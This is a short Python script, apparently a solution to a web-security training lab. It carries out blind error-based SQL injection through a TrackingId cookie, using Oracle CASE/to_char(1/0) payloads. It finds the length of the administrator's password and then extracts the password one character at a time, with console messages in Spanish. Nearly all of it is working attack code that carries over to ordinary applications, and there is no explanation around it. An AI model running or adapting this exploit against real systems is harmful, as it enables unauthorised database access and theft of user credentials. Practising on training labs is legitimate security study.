import requests, signal, sys

def  extract_password(URL,length,PASSWORD,CHARACTERS):
    for i in range(1,length+1):
        for st in CHARACTERS:
            payload = "x'+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,{},1)='{}')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--".format(str(i),st)
            cookies_payload = {"TrackingId": payload}
            response = requests.get(URL, cookies=cookies_payload)
            if response.status_code == 500:
                PASSWORD += st
                print("Codigo de estado: {} Password: {}".format(response.status_code,PASSWORD))
            else:
                pass
    return PASSWORD

def verify_length(URL):

    for num in range(1,100):
        payload = "'||(SELECT+CASE+WHEN+length(password)>{}+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||'".format(num)
        cookies_payload = {"TrackingId": payload}
        response = requests.get(URL, cookies=cookies_payload)
        
        if response.status_code == 200:
            return num

def def_handler(key,frame):
    print("\n[*] Saliendo")
    sys.exit(1)

def main():
    URL = "https://acff1f311ec3794a81ec25fe00d1008b.web-security-academy.net/filter?category=Gifts"
    CHARACTERS = "0123456789abcdefghijklmnopqrstuvwxyz"
    PASSWORD = ""

    signal.signal(signal.SIGINT, def_handler)

    length = verify_length(URL)
    print("La longitud del password es: {}".format(length))

    password = extract_password(URL,length,PASSWORD,CHARACTERS)
    print("La contraseña es: {}".format(password))

if __name__ == "__main__":
    main()